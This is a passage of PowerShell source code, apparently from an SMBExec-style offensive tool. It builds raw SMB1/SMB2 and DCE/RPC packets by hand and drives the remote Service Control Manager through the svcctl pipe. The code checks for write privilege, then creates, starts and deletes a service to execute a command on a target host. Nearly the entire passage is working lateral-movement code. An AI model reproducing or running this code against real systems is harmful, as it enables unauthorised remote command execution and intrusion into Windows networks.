$RPC_data + $SCM_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'ReadAndXRequest'\r\n                        $stage_next = 'CheckAccess'           \r\n                    }\r\n\r\n                    'ReadAndXRequest'\r\n                    {\r\n                        Start-Sleep -m $Sleep\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2 \r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                        $packet_SMB_data = New-PacketSMBReadAndXRequest $SMB_FID\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data \r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = $stage_next\r\n                    }\r\n\r\n                    'RPCBind'\r\n                    {\r\n                        $SMB_FID = $client_receive[42,43]\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2 \r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00\r\n                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data\r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'ReadAndXRequest'\r\n                        $stage_next = 'OpenSCManagerW'\r\n                    }\r\n                \r\n                    'StartServiceW'\r\n                    {\r\n                    \r\n                        if([System.BitConverter]::ToString($client_receive[112..115]) -eq '00-00-00-00')\r\n                        {\r\n                            Write-Verbose \"Service $SMB_service created on $Target\"\r\n                            $SMB_service_context_handle = $client_receive[92..111]\r\n                            $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                                $SMB_signing_counter = $SMB_signing_counter + 2 \r\n                                [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                                $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                            }\r\n\r\n                            $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle\r\n                            $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data\r\n                            $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00\r\n                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                            $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)\r\n                            $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                             \r\n                            $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data\r\n                                $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                                $SMB_signature = $SMB_signature[0..7]\r\n                                $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                                $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data\r\n                            Write-Verbose \"[*] Trying to execute command on $Target\"\r\n                            $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                            $client_stream.Flush()\r\n                            $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                            $stage = 'ReadAndXRequest'\r\n                            $stage_next = 'DeleteServiceW'  \r\n                        }\r\n                        elseif([System.BitConverter]::ToString($client_receive[112..115]) -eq '31-04-00-00')\r\n                        {\r\n                            Write-Output \"[-] Service $SMB_service creation failed on $Target\"\r\n                            $stage = 'Exit'\r\n                        }\r\n                        else\r\n                        {\r\n                            Write-Output \"[-] Service creation fault context mismatch\"\r\n                            $stage = 'Exit'\r\n                        }\r\n    \r\n                    }\r\n                \r\n                    'TreeConnectAndXRequest'\r\n                    {\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = 2 \r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                        $packet_SMB_data = New-PacketSMBTreeConnectAndXRequest $SMB_path_bytes\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data \r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'CreateAndXRequest'\r\n                    }\r\n\r\n                    'TreeDisconnect'\r\n                    {\r\n                        $packet_SMB_header = New-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $packet_SMB_header[\"Flags2\"] = 0x05,0x48\r\n                            $SMB_signing_counter = $SMB_signing_counter + 2\r\n                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signing_sequence\r\n                        }\r\n\r\n                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   \r\n                        $packet_SMB_data = New-PacketSMBTreeDisconnectRequest\r\n                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data\r\n                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length\r\n                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                        if($SMB_signing)\r\n                        {\r\n                            $SMB_sign = $session_key + $SMB_header + $SMB_data \r\n                            $SMB_signature = $MD5.ComputeHash($SMB_sign)\r\n                            $SMB_signature = $SMB_signature[0..7]\r\n                            $packet_SMB_header[\"Signature\"] = $SMB_signature\r\n                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header\r\n                        }\r\n\r\n                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data\r\n                        $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                        $client_stream.Flush()\r\n                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n                        $stage = 'Logoff'\r\n                    }\r\n\r\n                }\r\n            \r\n            }\r\n\r\n        }  \r\n        else\r\n        {\r\n            \r\n            $stage = 'TreeConnect'\r\n\r\n            try\r\n            {\r\n\r\n                while ($stage -ne 'Exit')\r\n                {\r\n\r\n                    switch ($stage)\r\n                    {\r\n                \r\n                        'CheckAccess'\r\n                        {\r\n\r\n                            if([System.BitConverter]::ToString($client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')\r\n                            {\r\n\r\n                                $SMB_service_manager_context_handle = $client_receive[108..127]\r\n                                \r\n                                if($SMB_execute -eq $true)\r\n                                {\r\n                                    Write-Verbose \"$output_username has Service Control Manager write privilege on $Target\"\r\n                                    $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes\r\n                                    $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data\r\n\r\n                                    if($SCM_data.Length -lt $SMB_split_index)\r\n                                    {\r\n                                        $stage = 'CreateServiceW'\r\n                                    }\r\n                                    else\r\n                                    {\r\n                                        $stage = 'CreateServiceW_First'\r\n                                    }\r\n\r\n                                }\r\n                                else\r\n                                {\r\n                                    Write-Output \"[+] $output_username has Service Control Manager write privilege on $Target\"\r\n                                    $SMB_close_service_handle_stage = 2\r\n                                    $stage = 'CloseServiceHandle'\r\n                                }\r\n\r\n                            }\r\n                            elseif([System.BitConverter]::ToString($client_receive[128..131]) -eq '05-00-00-00')\r\n                            {\r\n                                Write-Output \"[-] $output_username does not have Service Control Manager write privilege on $Target\"\r\n                                $stage = 'Exit'\r\n                            }\r\n                            else\r\n                            {\r\n                                Write-Output \"[-] Something went wrong with $Target\"\r\n                                $stage = 'Exit'\r\n                            }\r\n\r\n                        }\r\n\r\n                        'CloseRequest'\r\n                        {\r\n                            $stage_current = $stage\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                        \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n        \r\n                            $packet_SMB2_data = New-PacketSMB2CloseRequest $file_ID\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data\r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data\r\n                            $stage = 'SendReceive'\r\n                        }\r\n\r\n                        'CloseServiceHandle'\r\n                        {\r\n\r\n                            if($SMB_close_service_handle_stage -eq 1)\r\n                            {\r\n                                Write-Verbose \"Service $SMB_service deleted on $Target\"\r\n                                $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle\r\n                            }\r\n                            else\r\n                            {\r\n                                $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle\r\n                            }\r\n\r\n                            $SMB_close_service_handle_stage++\r\n                            $stage_current = $stage\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                        \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n\r\n                            $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data\r\n                            $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x00,0x00\r\n                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data \r\n                            $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length)     \r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data \r\n                            $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data\r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data\r\n                            $stage = 'SendReceive'\r\n                        }\r\n                    \r\n                        'CreateRequest'\r\n                        {\r\n                            $stage_current = $stage\r\n                            $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \\svcctl\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                        \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n\r\n                            $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes\r\n                            $packet_SMB2_data[\"Share_Access\"] = 0x07,0x00,0x00,0x00  \r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data  \r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data  \r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data\r\n\r\n                            try\r\n                            {\r\n                                $client_stream.Write($client_send,0,$client_send.Length) > $null\r\n                                $client_stream.Flush()\r\n                                $client_stream.Read($client_receive,0,$client_receive.Length) > $null\r\n\r\n                                if(Get-StatusPending $client_receive[12..15])\r\n                                {\r\n                                    $stage = 'StatusPending'\r\n                                }\r\n                                else\r\n                                {\r\n                                    $stage = 'StatusReceived'\r\n                                }\r\n\r\n                            }\r\n                            catch\r\n                            {\r\n                                Write-Output \"[-] Session connection is closed\"\r\n                                $stage = 'Exit'\r\n                            }                    \r\n\r\n                        }\r\n\r\n                        'CreateServiceW'\r\n                        {\r\n                            $stage_current = $stage\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                        \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n\r\n                            $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00\r\n                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                            $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length)\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data\r\n                            $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data\r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data\r\n                            $stage = 'SendReceive'\r\n                        }\r\n\r\n                        'CreateServiceW_First'\r\n                        {\r\n                            $stage_current = $stage\r\n                            $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index)\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                            \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n\r\n                            $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)]\r\n                            $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first\r\n                            $packet_RPC_data[\"AllocHint\"] = [System.BitConverter]::GetBytes($SCM_data.Length)\r\n                            $SMB_split_index_tracker = $SMB_split_index\r\n                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data \r\n                            $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data \r\n                            $RPC_data_length = $SMB2_data.Length + $RPC_data.Length\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data\r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data\r\n                            $stage = 'SendReceive'\r\n                        }\r\n\r\n                        'CreateServiceW_Middle'\r\n                        {\r\n                            $stage_current = $stage\r\n                            $SMB_split_stage++\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                            \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n\r\n                            $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)]\r\n                            $SMB_split_index_tracker += $SMB_split_index\r\n                            $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle\r\n                            $packet_RPC_data[\"AllocHint\"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index)\r\n                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                            $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    \r\n                            $RPC_data_length = $SMB2_data.Length + $RPC_data.Length\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data\r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data\r\n                            $stage = 'SendReceive'\r\n                        }\r\n\r\n                        'CreateServiceW_Last'\r\n                        {\r\n                            $stage_current = $stage\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                            \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n\r\n                            $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length]\r\n                            $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last\r\n                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data\r\n                            $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data    \r\n                            $RPC_data_length = $SMB2_data.Length + $RPC_data.Length\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data\r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data\r\n                            $stage = 'SendReceive'\r\n                        }\r\n\r\n                        'DeleteServiceW'\r\n                        { \r\n\r\n                            if([System.BitConverter]::ToString($client_receive[108..111]) -eq '1d-04-00-00')\r\n                            {\r\n                                Write-Output \"[+] Command executed with service $SMB_service on $Target\"\r\n                            }\r\n                            elseif([System.BitConverter]::ToString($client_receive[108..111]) -eq '02-00-00-00')\r\n                            {\r\n                                Write-Output \"[-] Service $SMB_service failed to start on $Target\"\r\n                            }\r\n\r\n                            $stage_current = $stage\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                            \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00\r\n                            }\r\n\r\n                            $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle\r\n                            $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data\r\n                            $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x02,0x00\r\n                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data \r\n                            $packet_SMB2_data = New-PacketSMB2WriteRequest $file_ID ($RPC_data.Length + $SCM_data.Length)\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data \r\n                            $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length\r\n                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service\r\n\r\n                            if($SMB_signing)\r\n                            {\r\n                                $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data\r\n                                $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)\r\n                                $SMB2_signature = $SMB2_signature[0..15]\r\n                                $packet_SMB2_header[\"Signature\"] = $SMB2_signature\r\n                                $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            }\r\n\r\n                            $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data\r\n                            $stage = 'SendReceive'\r\n                        }\r\n\r\n                        'Logoff'\r\n                        {\r\n                            $stage_current = $stage\r\n                            $message_ID++\r\n                            $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID\r\n                        \r\n                            if($SMB_signing)\r\n                            {\r\n                                $packet_SMB2_header[\"Flags\"] = 0x08,0x00,0x00,0x00      \r\n                            }\r\n            \r\n                            $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest\r\n                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header\r\n                            $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data\r\n                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length\r\n                            